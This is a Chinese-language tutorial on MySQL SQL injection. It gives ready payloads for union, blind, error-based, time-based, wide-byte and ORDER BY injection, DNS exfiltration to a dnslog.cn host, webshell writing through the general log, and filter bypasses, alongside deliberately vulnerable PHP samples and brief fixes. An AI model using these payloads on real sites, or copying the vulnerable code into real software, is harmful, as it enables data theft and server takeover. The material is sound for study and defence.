一、基本概念

​ SQL注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以构造不同的SQL语句来实现对数据库的任意操作。

​ 一般情况下,开发人员可以使用动态SQL语句创建通用、灵活的应用。

​ 例如PHP语句:

$query = "select * from users where id = $_GET['id']"

二、SQL注入原理

漏洞产生需要满足以下两个条件:

  • 参数用户可控
  • 参数带入数据库查询

初步判断SQL注入

当传入id参数为1’时,不符合数据库语法规范,所以会报错

select * from users where id = 1'

但传入id参数为1 and 1=1 时

select * from users where id = 1 and 1=1

1=1为true,所以会返回id=1的结果

若是1=2,为false,会返回与id=1不同的结果

由此初步判断id参数存在SQL注入漏洞,攻击者可以进一步拼接SQL语句进行攻击,致使数据库数据泄露,甚至进一步获取服务器权限

三、SQL注入相关知识点(基于MySQL)

在MySQL5.0版本后,MySQL默认在数据库中存放information_schema的数据库

该数据库中,存在三个表SCHEMATATABLESCOLUMNS

  • SCHEMATA表:存储该用户创建的所有数据库库名,字段为 SCHEMA_NAME
  • TABLES表:存储该用户创建的所有数据库的库名和表名,字段分别为 TABLE_SCHEMA、TABLE_NAME
  • COLUMNS表,存储该用户创建的所有数据库的库名、表名和字段名,字段分别为TABLE_SCHEMA、TABLE_NAME、COLUMN_NAME

常用注入语句

查表:select table_name from information.schema.tables where table_schema=database()

查字段:select column_name from information.schema.columns where table_schema=databse() and table_name=''

limit的用法

使用格式为limit m,n

其中m是指记录开始的位置,从0开始为第一条记录;n是指n条记录

例如:limit 0,1 表示从第一条记录开始取一条记录

常用的函数

  • database():当前网站使用的数据库
  • version():当前MySQL版本
  • user():当前MySQL用户

注释符

  • –空格
  • /**/

内联注释

形式为/*! code */

内联注释可以用于整个SQL语句中:

index.php?id=-1 /*!union*/ /*!select*/ 1,2,3

四、常见的攻击方式

1、Union注入攻击

在初步判断id参数存在SQL注入后,可以利用order by查询该数据表中的字段

index.php?id=1 order by 3

id=1 order by 3时返回与id=1相同的结果而id=1 order by 4时返回不同的结果,则字段数为3

于是union注入语句如下:

index.php?id=1 union select 1,2,3

接下来可能仍然会返回与id=1一样的结果,那是因为代码只返回一条结果,所以union select的结果没有输出

那么注入语句可以改为:

index.php?id=-1 union select 1,2,3

由于数据库中没有id=-1的数据,那么就会返回union select的结果

接下来可以将回显的位置处插入SQL语句,开始查库、查表、查字段

union注入代码分析

<?php 
$con=mysqli_connect("localhost","root","123456","test");
if(mysqli_connect_errno()){
    echo "连接失败:". mysqli_connect_error();
}
$id=$_GET['id'];
$result=mysqli_query($con,"select * from users where `id`=".$id);
$row=mysqli_fetch_array($result);
echo $row['username'].":".$row['address'];
echo "<br>";
?>

传入的id参数直接拼接到SQL语句上,从而获取到数据库数据并输出

2、boolean注入攻击

boolean注入是指构造SQL判断语句,通过查看页面的返回结果来推测哪些SQL判断条件是成立的

例如id=1' and 1=1--+返回了yes,id=1' 1=2--+返回了no(或者前者返回正常页面,后者啥都不返回),并没有返回数据库中的数据,所以此处是不可以使用union注入的

尝试利用boolean注入:

id=1' and length(database())>=1--+

这样可以通过返回yes或no来判断数据库库名的长度

接着通过substr()或者mid()截取数据库库名

id=1' and substr(database(),1,1)='t'–+

也可以使用ASCII码来进行查询,利用函数ord()或者ascii()

id=1' and ascii(substr(database(),1,1))=123--+

接下来查表名、字段名只要将database()改为SQL查询语句即可,SQL语句外要加上括号,这样MySQL会认为它们是一个整体,就不会产生语法错误

代码分析

<?php
$con = mysqli_connect('localhost','root','123456','test');
if(mysqli_connect_errno()){
    echo mysqli_connect_error();
}
$id=$_GET['id'];
if(preg_match("/union|sleep|benchmark/i",$id)){
    exit('no');
}
$result=mysqli_query($con,"select * from users where `id`='".$id."'");
$row = mysqli_fetch_array($result);
if($row){
    exit('yes');
}
else{
    exit('no');
}
?>

加入了黑名单,没有回显数据,使用boolean注入还是可以的

其他

还可以利用like函数和regexp正则表达式

like():

​ 语法:like ‘ab%’ 表示从左边开始的字符是ab,例如abd

​ like ‘%ab’ 表示从右边结束的字符是ab,例如vab

​ like ‘%a%’ 表示字符串中含有a,例如mnacv

regexp:

​ 语法:select database() regexp ‘^ab’,表示字符串以ab开头

3、报错注入攻击

产生的原因是程序直接将错误信息输出到了页面上,所以可以利用报错注入获取数据

例如访问id=1'时,导致数据库执行SQL语句时因为多了一个单引号而报错,从而输出到页面上

我们可以利用updatexml()extractvalue()函数,两个都是与xml文档操作有关的,这里就不详细解释了

updatexml()

id=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1))

extractvalue()

id=1 and (extractvalue(1,concat(0x7e,(select database()),0x7e)))

image-20221201152341966

绕过长度限制

上面两个函数能查询的最大长度只有32位,这里可以用mid()、substr()、substring()、right()、left()函数来获取多出来的字符

id=1 and (extractvalue(1,concat(0x7e,substring(passwd,1,10)),0x7e))

代码分析

<?php
$con=mysqli_connect('localhost','root','123456','test');
if(mysqli_connect_errno()){
    echo mysqli_connect_error();
}
$id=$_GET['id'];
if($result=mysqli_query($con,"select * from users where `id`='".$id."'")){
    echo "ok";
}else{
    echo mysqli_error($con);
}
?>

没有回显数据,但是在数据库中执行了SQL语句,并且输出错误信息

4、时间注入攻击

与boolean注入很相似,都不会回显数据,只有yes或者no

区别在于,时间注入利用sleep()或者benchmark()等函数让MySQL的执行时间变长,多与if(a,b,c)结合使用

所以注入语句为

id=1' and if(length(database())>=1,sleep(5),1)--+

如果数据库库名长度大于1,休眠5秒,否则返回1

benchmark()函数可以循环执行一个表达式,从而造成延时,达到与sleep相同的效果

id=1' and if(length(database())>=1,benchmark(10000000,sha(111111111111)),1)--+

同时benchmark()也有一些特性,可能会在某些情况起作用,这里记录一下:

  • 若benchmark()中执行的表达式返回多条记录,会报错,一条不会
  • 若benchmark()中执行得表达式出错,会报错(甚至会携带一些信息)

根据上述特性,在某些情况,我们可以采用暴力破解的方式获取一些信息

下图直接带出了数据库的库名

image-20221201163754169

代码分析

都差不多,主要看黑名单中过滤了哪些函数,从而判断采用哪种注入方式

其他

利用case when(条件语句) then 表达式 else 表达式 end语句

例如:

select 1 and case when(1) then sleep(5) else 1 end

5、堆叠注入

堆叠查询可以执行多条语句,多语句之间要用分号隔开。堆叠注入就是利用这个特点。

同时可以结合很多种注入方式,boolean注入、时间注入等,堆叠查询只会返回第一条语句查询的结果

id=1';select database()--+

代码分析

<?php
try{
    $conn=new PDO("mysql:host=localhost;dbname=test","root","123456");
    $conn->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
    $stmt=$conn->query("select * from users where `id`='".$_GET['id']."'");
    $result=$stmt->setFetchMode(PDO::FETCH_ASSOC);
    foreach($stmt->fetchAll() as $k=>$v){
        foreach($v as $key=> $value){
            echo $value;
        }
    }
    $dsn=null;
}
catch(PDOException $e){
    echo "error";
}
$conn=null;
?>

程序使用PDO的方式进行数据查询,但是仍然将id参数直接拼接到查询语句,导师PDO没起到预编译的作用

6、二次注入

二次注入一般发生在查询语句上,其中的参数是从数据库中得到,并且被用户可控的,比如用户名,个人资料等

访问index.php?username=test'成功注册名为test’的用户名,服务端返回用户id,为123

访问search.php?id=123,这时服务端报错,可能存在SQL注入漏洞

而用户名就是我们的注入点

代码分析

<?php
$con=mysqli_connect('localhost','root','123456','test');
if(mysqli_connect_errno()){
    echo mysqli_connect_error();
}
$username=$_GET['username'];
$passwd=$_GET['passwd'];
$result=mysqli_query($con,"insert into users(`username`,`passwd`) values ('".addslashes($username)."','".md5($passwd)."')");
echo "新id为:".mysqli_insert_id($con);
?>

addslashes()函数会将单引号、双引号、反斜杠和NULL字符前加上反斜杠

这就是一个用户注册的功能

<?php
$con=mysqli_connect('localhost','root','123456','test');
if(mysqli_connect_errno()){
    echo mysqli_connect_error();
}
$id=intval($_GET['id']);
$result=mysqli_query($con,"select * from users where `id`=".$id);
$row=mysqli_fetch_array($result);
$username=$row['username'];
$result2=mysqli_query($con,"select * from person where username='".$username."'");
if($row2=mysqli_fetch_array($result2)){
    echo $row2['username'].":".$row2['money'];
}else{
    echo mysqli_error($con);
}
?>

在第二次对数据库查询时,没有对username进行转义,造成了二次注入

7、宽字节注入

宽字节注入可能发生的场景在数据库的编码为GBK时而后端的编码不为GBK

  • 当某字符大小为一个字节时,为窄字节
  • 某字符大小为两个字节时,为宽字节
  • 所有英文默认占一个字节,汉字占两个字节
  • 常见宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等

代码分析

<?php
$conn=mysql_connect('localhost','root','123456') or die('bad');
mysql_select_db('test',$conn) OR emMsg("数据库连接失败");
mysqli_query("set names 'gbk'",$conn);
$id=addslashes($_GET['id']);
$sql="select * from users where id='$id' limit 0,1";

$result=mysql_query($sql,$con);
$row=mysql_fetch_array($result);
if($row){
    echo $row['username'].":".$row['address'];
}else{
    print_r(mysql_error());
}
?>

可以看到输入被函数addslashes()进行了转义,所以一般情况下是无法注入的,但是在数据库查询前执行了

set names ‘gbk’,将数据库编码设置为了宽字节GBK,所以存在宽字节注入漏洞

SQL注入语句为:

id=1%df' union select 1,2,3--+

原理

在数据库中使用了宽字符集而Web中没考虑这个问题

浏览器中输入id=%df',浏览器解码后,php收到的就是β\',也就是0xdf5c27,而在进入数据库后,由于数据库是GBK编码,会认为0xdf5c是中文字符運,导致反斜杠会吞掉,单引号成功逃逸

宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码

同样的还有php的iconv()函数,也会造成宽字节注入:

<?php

error_reporting(0);

$conn=mysql_connect('127.0.0.1','root','');

mysql_select_db('mysql',$conn);

mysql_set_charset("utf8");//推荐的安全编码

$user=mysql_real_escape_string(($_GET['sql']));//推荐的过滤函数

$user=iconv('GBK','UTF-8',$user);

$sql="SELECT host,user,password FROM user WHERE user='{$user}'";

echo$sql.'</br>';

$res=mysql_query($sql);

while($row=mysql_fetch_array($res)){

var_dump($row);
}

id=root%e5%27or%201=1%23同样可以造成宽字节注入

这是怎么造成的?

首先%e5%27被mysql_real_escape_string()根据utf8编码过滤为%e5%5c%27

而%e5%5c在GBK编码中是汉字錦,那么在下面的iconv()转换中,%e5%5c被utf8编码吞了,从而造成单引号逃逸

8、cookie注入

php通过$_COOKIE来获取浏览器中cookie中的数据,而没有对参数进行过滤

类似的,由于请求头可以伪造,若是后端获取某些请求头来执行SQL语句,同样可以造成SQL注入

9、insert注入和update注入

假如一个参数可控,完整的语句为:

insert into admin values(1 and extractvalue(1,concat(0x7e,(playload),0x7e))),'1000')#,'1')

我们需要闭合前面的结构,注释掉多余的结构

还有时间注入:

insert into admin values((select case when database() like '%c%' then sleep(5) else 1 end),'1')

update就是一样的操作了

10、LIMIT处注入

写文件

select * from users limit 1 into outfile 'd:\\1.txt'

procedure analyse

要求mysql版本<5.6.6 的5.x系列

select * from users limit 1 procedure analyse(extractvalue(1,concat(0x71,(payload),0x7e)),1)

结合union注入&时间注入

select * from users limit 1 union select database(),1

需要注意字段数,否则会报错

11、order by处注入

结合报错注入

select * from users order by 1 and extractvalue(1,concat(0x7e,(select database()),0x7e))

结合时间盲注

select * from users order by 1 rlike (case when(substr(database(),1,1)='5') then BENCHMARK(1000000,sha(1)) else 1 end)

这里不能用sleep(),会导致全表延迟

12、基于DNS的注入

主要用到的函数为load_file()

前提:

  • root权限
  • secure_file_priv 为空

select load_file(concat('\\\\',database(),'.k8iufc.dnslog.cn\\a'))

原理

UNC路径:

UNC (Universal Naming Convention)路径是通用命名规则,也称通用命名规范、通用命名约定。
UNC路径格式是:\XXXXX\XXXX
它采用 \servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。
因此,当我们访问路径://a.1806dl.dnslog.cn/abc,是在访问a.1806dl.dnslog.cn下的abc共享文件夹。
它依赖的windows服务叫做smb [文件共享服务],因此linux不一定能用DNSlog注入,因为linux默认是不自带smb服务(用户可以装)。

13、MySQL读写文件

SQL注入如果满足了对应的条件,是可以直接进行shell的写入的

secure_file_priv

这个参数很大程度上决定了我们能否进行读写,默认为空

  • 值为 NULL:不允许任何文件导入导出操作
  • 值为空:对导入导出操作不做限制
  • 值为D:\ :只允许在d盘进行导入导出操作

如果要修改它的值:

  • windows:mysql.ini文件修改
  • linux:my.cnf文件修改

select load_file(‘’)
select * from users into outfile ‘’
select * from users into dumpfile ‘’

Linux下写文件

满足以下条件:

  • root用户
  • secure_file_priv 为空
  • 写shell的文件夹必须为777权限,权限不够会报错
  • 文件大小小于max_allowed_packet

Linux下读文件

  • root用户
  • 目标文件可读

Windows下读文件

  • root用户
  • secure_file_priv 为空
  • 指定路径可以访问

Windows下写文件

  • root用户
  • secure_file_priv 为空
  • 指定路径 可以访问

14、利用mysql日志文件getshell

思路就是将mysql日志文件移动到web目录,然后将代码引入到日志文件中,最终getshell

网站的绝对路径可以从一些探针文件或者phpinfo等文件获取

set global general_log=on
set global general_log_file='D:\\shell.php'
select '<?php phpinfo();?>'
set global general_log=off

访问该文件就可以getshell了

五、SQL注入绕过技术

1、大小写绕过

例如一般注入时:id=1' and 1=1--+

可以改为:id=1' AnD 1=1--+

id=1' UniOn sEleCt 1,2,3--+

绕过原理

我的理解吧,就是后端只是对一些关键字加入了黑名单,并没有考虑大小写的情况

2、双写绕过

id=1' anandd 1=1--+

中间完整的and被过滤后仍然保留了一个and

如果有报错信息,可以从报错信息中判断是否有被去除

绕过原理

同样也是加入黑名单,只不过会将关键字从查询语句中去除

3、编码绕过

例如id=1' and 1=1--+中and被拦截

我们可以对and进行两次URL全编码(就是16进制加上%)

and => %25%36%31%25%36%65%25%36%34

由于服务器会对URL进行一次URL解码,所以需要编码两次(这里其实我也不是很理解,可能在某些情况下是这样的吧)

4、内联注释绕过

一些关键字例如and,使用内联注释绕过为/*!and*/

六、SQL注入修复建议

1、过滤危险字符

例如,采用正则表达式匹配一些关键词

过滤在一定程度上可以防止SQL注入漏洞,但是仍然存在被绕过的可能

2、适用预编译语句

使用PDO预编译语句,需要注意的是不要将变量直接拼接到PDO语句中,而是使用占位符进行数据库的增加、删除、修改、查询